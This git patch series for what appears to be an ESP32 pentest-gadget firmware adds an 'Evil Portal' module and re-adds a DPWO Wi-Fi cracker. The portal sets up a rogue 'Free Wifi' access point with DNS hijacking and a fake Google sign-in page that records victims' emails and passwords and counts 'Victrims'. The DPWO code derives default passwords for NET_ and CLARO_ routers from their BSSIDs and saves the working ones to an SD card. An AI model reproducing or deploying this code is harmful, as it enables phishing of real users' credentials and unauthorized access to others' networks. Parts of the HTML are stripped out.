From 0311d87045b5be557dcac64b1fc747122bbbcda0 Mon Sep 17 00:00:00 2001
From: Pirata <104320209+bmorcelli@users.noreply.github.com>
Date: Wed, 8 May 2024 17:35:37 -0300
Subject: [PATCH 1/2] Add files via upload
---
src/display.cpp | 3 +-
src/dpwo.cpp | 278 ++++++++++++++++++++++----------------------
src/dpwo.h | 18 +--
src/evil_portal.cpp | 190 ++++++++++++++++++++++++++++++
src/evil_portal.h | 22 ++++
src/mfrc522_i2c.cpp | 2 +-
6 files changed, 363 insertions(+), 150 deletions(-)
create mode 100644 src/evil_portal.cpp
create mode 100644 src/evil_portal.h
diff --git a/src/display.cpp b/src/display.cpp
index 0f8317e8..4662a0b6 100644
--- a/src/display.cpp
+++ b/src/display.cpp
@@ -119,7 +119,7 @@ void displayRedStripe(String text, uint16_t fgcolor, uint16_t bgcolor) {
void displayError(String txt) { displayRedStripe(txt); }
void displayWarning(String txt) { displayRedStripe(txt, TFT_BLACK,TFT_YELLOW); }
void displayInfo(String txt) { displayRedStripe(txt, TFT_WHITE, TFT_BLUE); }
-void displaySuccess(String txt) { displayRedStripe(txt, TFT_WHITE, TFT_GREEN); }
+void displaySuccess(String txt) { displayRedStripe(txt, TFT_WHITE, TFT_DARKGREEN); }
/*********************************************************************
** Function: loopOptions
@@ -245,6 +245,7 @@ void drawOptions(int index,const std::vector>>& options, String system) {
int menuSize = options.size();
+ menu_op.deleteSprite();
menu_op.createSprite(WIDTH - 20, HEIGHT - 35);
menu_op.setTextColor(FGCOLOR,BGCOLOR);
menu_op.setTextSize(FP);
diff --git a/src/dpwo.cpp b/src/dpwo.cpp
index 8601c2ac..b95804c3 100644
--- a/src/dpwo.cpp
+++ b/src/dpwo.cpp
@@ -1,139 +1,139 @@
-/*
- Port of DPWO for ESP32 by pr3y
-
- Originally from https://github.com/caioluders/DPWO
-
- saves login creds on SD mounted card
-*/
-#include
-#include
-
-#define SD_CREDS_PATH "/dpwo_creds.txt"
-
-#include "globals.h"
-#include "dpwo.h"
-
-int ap_scanned = 0;
-
-void parse_BSSID(char* bssid_without_colon, const char* bssid) {
- int j = 0;
- for (int i = 0; i < strlen(bssid); ++i) {
- if (bssid[i] != ':') {
- bssid_without_colon[j++] = bssid[i];
- }
- }
- bssid_without_colon[j] = '\0';
-}
-
-void net_ap(int i) {
- char bssid_without_colon[18];
- parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
- Serial.println("MAC addr");
- Serial.println(bssid_without_colon);
-
- char *bssid_ready = bssid_without_colon + 4;
- bssid_ready[strlen(bssid_ready)-2] = '\0';
- int ssid_length = WiFi.SSID(i).length();
- if (ssid_length >= 2) {
- String last_two = WiFi.SSID(i).substring(ssid_length - 2);
- strcat(bssid_ready, last_two.c_str());
- } else {
- Serial.println("ERROR");
- }
- WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
- // TODO: Dont depend on delays and compare the wifi status other way :P
- delay(2000);
- while (WiFi.status() != WL_CONNECTED) {
- Serial.println("\nNOPE");
- WiFi.disconnect();
- return;
- }
- Serial.println("\nWiFi Connected");
- WiFi.disconnect();
- #if defined(SDCARD)
- appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
- Serial.println("\nWrote creds to SD");
- #endif
- tft.setTextSize(1);
- tft.setTextColor(FGCOLOR-0x2000);
- tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
-}
-
-void claro_ap(int i) {
- char bssid_without_colon[18];
- parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
- Serial.println("MAC addr");
- Serial.println(bssid_without_colon);
-
- char *bssid_ready = bssid_without_colon + 4;
- bssid_ready[strlen(bssid_ready)-2] = '\0';
- int ssid_length = WiFi.SSID(i).length();
- WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
- delay(2000);
- while (WiFi.status() != WL_CONNECTED) {
- Serial.println("\nNOPE");
- WiFi.disconnect();
- return;
- }
- Serial.println("\nWiFi Connected");
- WiFi.disconnect();
- #if defined(SDCARD)
- appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
- Serial.println("\nWrote creds to SD");
- #endif
- tft.setTextSize(1);
- tft.setTextColor(FGCOLOR-0x2000);
- tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
-}
-
-
-void dpwo_setup() {
- // tft.clear();
- tft.fillScreen(BGCOLOR);
- tft.setCursor(0, 0);
- Serial.println("Scanning for DPWO...");
- WiFi.mode(WIFI_STA);
- ap_scanned = WiFi.scanNetworks();
- Serial.println(ap_scanned);
-
- tft.setTextColor(FGCOLOR-0x2000);
- tft.println("Scanning for DPWO...");
-
- if (ap_scanned == 0) {
- tft.println("no networks found");
- } else {
-
- //TODO: add different functions to match Copel and Vivo regex on SSID also
- std::regex net_regex("NET_.*");
- std::regex claro_regex("CLARO_.*");
-
-
- //TODO: dont repeat the wifi connection process inside each function, instead work on this loop
-
- for (int i = 0; i < ap_scanned; ++i) {
- if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) {
- net_ap(i);
- Serial.println("NET SSID");
- } else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) {
- claro_ap(i);
- Serial.println(WiFi.SSID(i));
- Serial.println("CLARO SSID");
-
- } else {
- Serial.println("not vuln");
- Serial.println(WiFi.SSID(i));
-
- }
-
-
- }
-
-
- }
- Serial.println("scanning again");
- ap_scanned = WiFi.scanNetworks();
-
- //TODO: append vulnerable APs and dont repeat the output inside a loop
- tft.fillScreen(BGCOLOR);
-
-}
+/*
+ Port of DPWO for ESP32 by pr3y
+
+ Originally from https://github.com/caioluders/DPWO
+
+ saves login creds on SD mounted card
+*/
+#include
+#include
+
+#define SD_CREDS_PATH "/dpwo_creds.txt"
+
+#include "globals.h"
+#include "dpwo.h"
+
+int ap_scanned = 0;
+
+void parse_BSSID(char* bssid_without_colon, const char* bssid) {
+ int j = 0;
+ for (int i = 0; i < strlen(bssid); ++i) {
+ if (bssid[i] != ':') {
+ bssid_without_colon[j++] = bssid[i];
+ }
+ }
+ bssid_without_colon[j] = '\0';
+}
+
+void net_ap(int i) {
+ char bssid_without_colon[18];
+ parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
+ Serial.println("MAC addr");
+ Serial.println(bssid_without_colon);
+
+ char *bssid_ready = bssid_without_colon + 4;
+ bssid_ready[strlen(bssid_ready)-2] = '\0';
+ int ssid_length = WiFi.SSID(i).length();
+ if (ssid_length >= 2) {
+ String last_two = WiFi.SSID(i).substring(ssid_length - 2);
+ strcat(bssid_ready, last_two.c_str());
+ } else {
+ Serial.println("ERROR");
+ }
+ WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
+ // TODO: Dont depend on delays and compare the wifi status other way :P
+ delay(2000);
+ while (WiFi.status() != WL_CONNECTED) {
+ Serial.println("\nNOPE");
+ WiFi.disconnect();
+ return;
+ }
+ Serial.println("\nWiFi Connected");
+ WiFi.disconnect();
+ #if defined(SDCARD)
+ appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
+ Serial.println("\nWrote creds to SD");
+ #endif
+ tft.setTextSize(1);
+ tft.setTextColor(FGCOLOR-0x2000);
+ tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
+}
+
+void claro_ap(int i) {
+ char bssid_without_colon[18];
+ parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
+ Serial.println("MAC addr");
+ Serial.println(bssid_without_colon);
+
+ char *bssid_ready = bssid_without_colon + 4;
+ bssid_ready[strlen(bssid_ready)-2] = '\0';
+ int ssid_length = WiFi.SSID(i).length();
+ WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
+ delay(2000);
+ while (WiFi.status() != WL_CONNECTED) {
+ Serial.println("\nNOPE");
+ WiFi.disconnect();
+ return;
+ }
+ Serial.println("\nWiFi Connected");
+ WiFi.disconnect();
+ #if defined(SDCARD)
+ appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
+ Serial.println("\nWrote creds to SD");
+ #endif
+ tft.setTextSize(1);
+ tft.setTextColor(FGCOLOR-0x2000);
+ tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
+}
+
+
+void dpwo_setup() {
+ // tft.clear();
+ tft.fillScreen(BGCOLOR);
+ tft.setCursor(0, 0);
+ Serial.println("Scanning for DPWO...");
+ WiFi.mode(WIFI_STA);
+ ap_scanned = WiFi.scanNetworks();
+ Serial.println(ap_scanned);
+
+ tft.setTextColor(FGCOLOR-0x2000);
+ tft.println("Scanning for DPWO...");
+
+ if (ap_scanned == 0) {
+ tft.println("no networks found");
+ } else {
+
+ //TODO: add different functions to match Copel and Vivo regex on SSID also
+ std::regex net_regex("NET_.*");
+ std::regex claro_regex("CLARO_.*");
+
+
+ //TODO: dont repeat the wifi connection process inside each function, instead work on this loop
+
+ for (int i = 0; i < ap_scanned; ++i) {
+ if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) {
+ net_ap(i);
+ Serial.println("NET SSID");
+ } else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) {
+ claro_ap(i);
+ Serial.println(WiFi.SSID(i));
+ Serial.println("CLARO SSID");
+
+ } else {
+ Serial.println("not vuln");
+ Serial.println(WiFi.SSID(i));
+
+ }
+
+
+ }
+
+
+ }
+ Serial.println("scanning again");
+ ap_scanned = WiFi.scanNetworks();
+
+ //TODO: append vulnerable APs and dont repeat the output inside a loop
+ tft.fillScreen(BGCOLOR);
+
+}
diff --git a/src/dpwo.h b/src/dpwo.h
index 18a516eb..3bc96c01 100644
--- a/src/dpwo.h
+++ b/src/dpwo.h
@@ -1,9 +1,9 @@
-#include "display.h"
-
-void parse_BSSID(char* bssid_without_colon, const char* bssid);
-
-void net_ap(int i);
-
-void claro_ap(int i);
-
-void dpwo_setup();
+#include "display.h"
+
+void parse_BSSID(char* bssid_without_colon, const char* bssid);
+
+void net_ap(int i);
+
+void claro_ap(int i);
+
+void dpwo_setup();
diff --git a/src/evil_portal.cpp b/src/evil_portal.cpp
new file mode 100644
index 00000000..087d8256
--- /dev/null
+++ b/src/evil_portal.cpp
@@ -0,0 +1,190 @@
+#include "evil_portal.h"
+#include "globals.h"
+#include "mykeyboard.h"
+#include "wifi_common.h"
+#include "sd_functions.h"
+
+AsyncWebServer *ep; // initialise webserver
+DNSServer dnsServer;
+
+String html_file;
+String AP_name = "Free Wifi";
+int totalCapturedCredentials = 0;
+int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
+String capturedCredentialsHtml = "";
+
+
+class CaptiveRequestHandler : public AsyncWebHandler {
+public:
+ CaptiveRequestHandler() {}
+ virtual ~CaptiveRequestHandler() {}
+
+ bool canHandle(AsyncWebServerRequest *request){
+ //request->addInterestingHeader("ANY");
+ return true;
+ }
+
+ void handleRequest(AsyncWebServerRequest *request) {
+ AsyncResponseStream *response = request->beginResponseStream("text/html");
+ if(request->params()>0) request->redirect("/post");
+ if(request->params()==0) request->redirect("/");
+ }
+};
+
+
+String getHtmlContents(String body) {
+ String html =
+ ""
+ ""
+ ""
+ " "
+ + AP_name + ""
+ " "
+ " "
+ " "
+ ""
+ ""
+ " "
+ "
"
+ " "
+ " "
+ "
"
+ "
"
+ "
"
+ ""
+ "";
+ return html;
+}
+
+String creds_GET() {
+ return getHtmlContents("" + capturedCredentialsHtml + "
Back to Index
Clear passwords
");
+}
+
+
+String index_GET() {
+ String loginTitle = String("Sign in");
+ String loginSubTitle = String("Use your Google Account");
+ String loginEmailPlaceholder = String("Email");
+ String loginPasswordPlaceholder = String("Password");
+ String loginMessage = String("Please log in to browse securely.");
+ String loginButton = String("Next");
+
+ return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
+}
+String clear_GET() {
+ String email = "";
+ String password = "";
+ capturedCredentialsHtml = "";
+ totalCapturedCredentials = 0;
+ return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtmlBack to Index");
+}
+
+void chooseHtml(bool def) {
+ if(def) {
+ html_file = loopSD(true);
+ if(html_file.endsWith(".html")) {
+ File html = SD.open(html_file, FILE_READ);
+ html_file = html.readString();
+ } else {
+ html_file = index_GET();
+ }
+ } else {
+ html_file = index_GET();
+ }
+}
+void startEvilPortal() {
+ Serial.begin(115200);
+ // Definição da matriz "Options"
+ std::vector>> options = {
+ {"Default", [=]() { chooseHtml(false); }},
+ {"Custom Html", [=]() { chooseHtml(true); }},
+ };
+ delay(200);
+ loopOptions(options);
+
+ bool redraw=true;
+
+ while(checkNextPress()){ yield(); } // debounce
+
+ AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");
+
+ while(checkNextPress()){ yield(); } // debounce
+
+ IPAddress AP_GATEWAY(172, 0, 0, 1);
+ WiFi.mode(WIFI_AP);
+ WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
+ WiFi.softAP(AP_name);
+ Serial.print("IP: "); Serial.println(WiFi.softAPIP());
+ wifiConnected=true;
+ dnsServer.start(53, "*", WiFi.softAPIP());
+ ep = new AsyncWebServer(80);
+
+ // if url isn't found
+ ep->onNotFound([](AsyncWebServerRequest * request) {
+ request->redirect("/");
+ });
+
+ ep->on("/post", HTTP_GET, [](AsyncWebServerRequest * request) {
+ String password, email;
+ if(request->hasArg("password")) password = request->arg("password").c_str();
+ if(request->hasArg("email")) password = request->arg("email").c_str();
+ capturedCredentialsHtml = "Email: " + email + "Password: " + password + "" + capturedCredentialsHtml;
+ totalCapturedCredentials++;
+
+ //#if defined(HAS_SDCARD)
+ // appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
+ //#endif
+ request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
+ });
+
+ ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", creds_GET());
+ });
+
+ ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", clear_GET());
+ });
+
+ ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", index_GET());
+ });
+
+ ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP
+
+ ep->begin();
+
+ tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR);
+ drawMainMenu(0);
+ menu_op.deleteSprite();
+ menu_op.createSprite(WIDTH-20, HEIGHT-35);
+
+
+
+ while(!checkSelPress()) {
+ if(totalCapturedCredentials-previousTotalCapturedCredentials>1) {
+ redraw=true;
+ previousTotalCapturedCredentials = totalCapturedCredentials -1;
+ }
+ if(redraw) {
+ menu_op.fillRect(0,0,menu_op.width(),menu_op.height(),BGCOLOR);
+ menu_op.setCursor(0,0);
+ menu_op.setTextSize(FM);
+ menu_op.setTextColor(FGCOLOR);
+ menu_op.println("Evil Portal: ");
+ menu_op.println(AP_name);
+ menu_op.println(WiFi.softAPIP().toString());
+ menu_op.println("Victrims: " + String(totalCapturedCredentials));
+ menu_op.pushSprite(8,26);
+ redraw=false;
+ }
+ dnsServer.processNextRequest();
+ }
+ delay(200);
+ returnToMenu = true;
+}
\ No newline at end of file
diff --git a/src/evil_portal.h b/src/evil_portal.h
new file mode 100644
index 00000000..7584e0c1
--- /dev/null
+++ b/src/evil_portal.h
@@ -0,0 +1,22 @@
+#include
+#include "AsyncTCP.h"
+#include
+#include "ESPAsyncWebServer.h"
+#include
+#include
+#include
+
+// function defaults
+
+void startEvilPortal();
+
+void chooseHtml(bool def = true);
+
+String getHtmlContents(String body);
+
+String creds_GET();
+
+String index_GET();
+
+String clear_GET();
+
diff --git a/src/mfrc522_i2c.cpp b/src/mfrc522_i2c.cpp
index 6fda6d56..8f0e6d6e 100644
--- a/src/mfrc522_i2c.cpp
+++ b/src/mfrc522_i2c.cpp
@@ -71,7 +71,7 @@ byte MFRC522::PCD_ReadRegister( byte reg ///< The register to read from. One of
Wire.write(reg);
Wire.endTransmission();
- Wire.requestFrom(_chipAddress, 1);
+ Wire.requestFrom((int)_chipAddress, 1); // adicionado (int) par acompatibilidade
value = Wire.read();
return value;
} // End PCD_ReadRegister()
From df4400b37b6ba27b5e4a1d939c3537257208b09c Mon Sep 17 00:00:00 2001
From: Pirata <104320209+bmorcelli@users.noreply.github.com>
Date: Wed, 8 May 2024 17:36:48 -0300
Subject: [PATCH 2/2] Update main.cpp
---
src/main.cpp | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/src/main.cpp b/src/main.cpp
index bb19f56e..0329ef89 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -44,6 +44,7 @@ TFT_eSprite draw = TFT_eSprite(&tft);
#include "TV-B-Gone.h"
#include "sniffer.h"
#include "tururururu.h"
+#include "evil_portal.h"
#ifdef CARDPUTER
@@ -171,7 +172,7 @@ void loop() {
options.push_back({"SSH", [=]() { displayRedStripe("SSH"); }});
options.push_back({"Raw Sniffer", [=]() { sniffer_setup(); }});
options.push_back({"DPWO-ESP32", [=]() { dpwo_setup(); }});
- options.push_back({"Evil Portal", [=]() { displayRedStripe("Evil Portal"); }});
+ options.push_back({"Evil Portal", [=]() { startEvilPortal(); }});
options.push_back({"ARP Scan", [=]() { displayRedStripe("ARP Scan"); }});
options.push_back({"Wireguard Tun", [=]() { wg_setup(); }});
options.push_back({"Main Menu", [=]() { backToMenu(); }});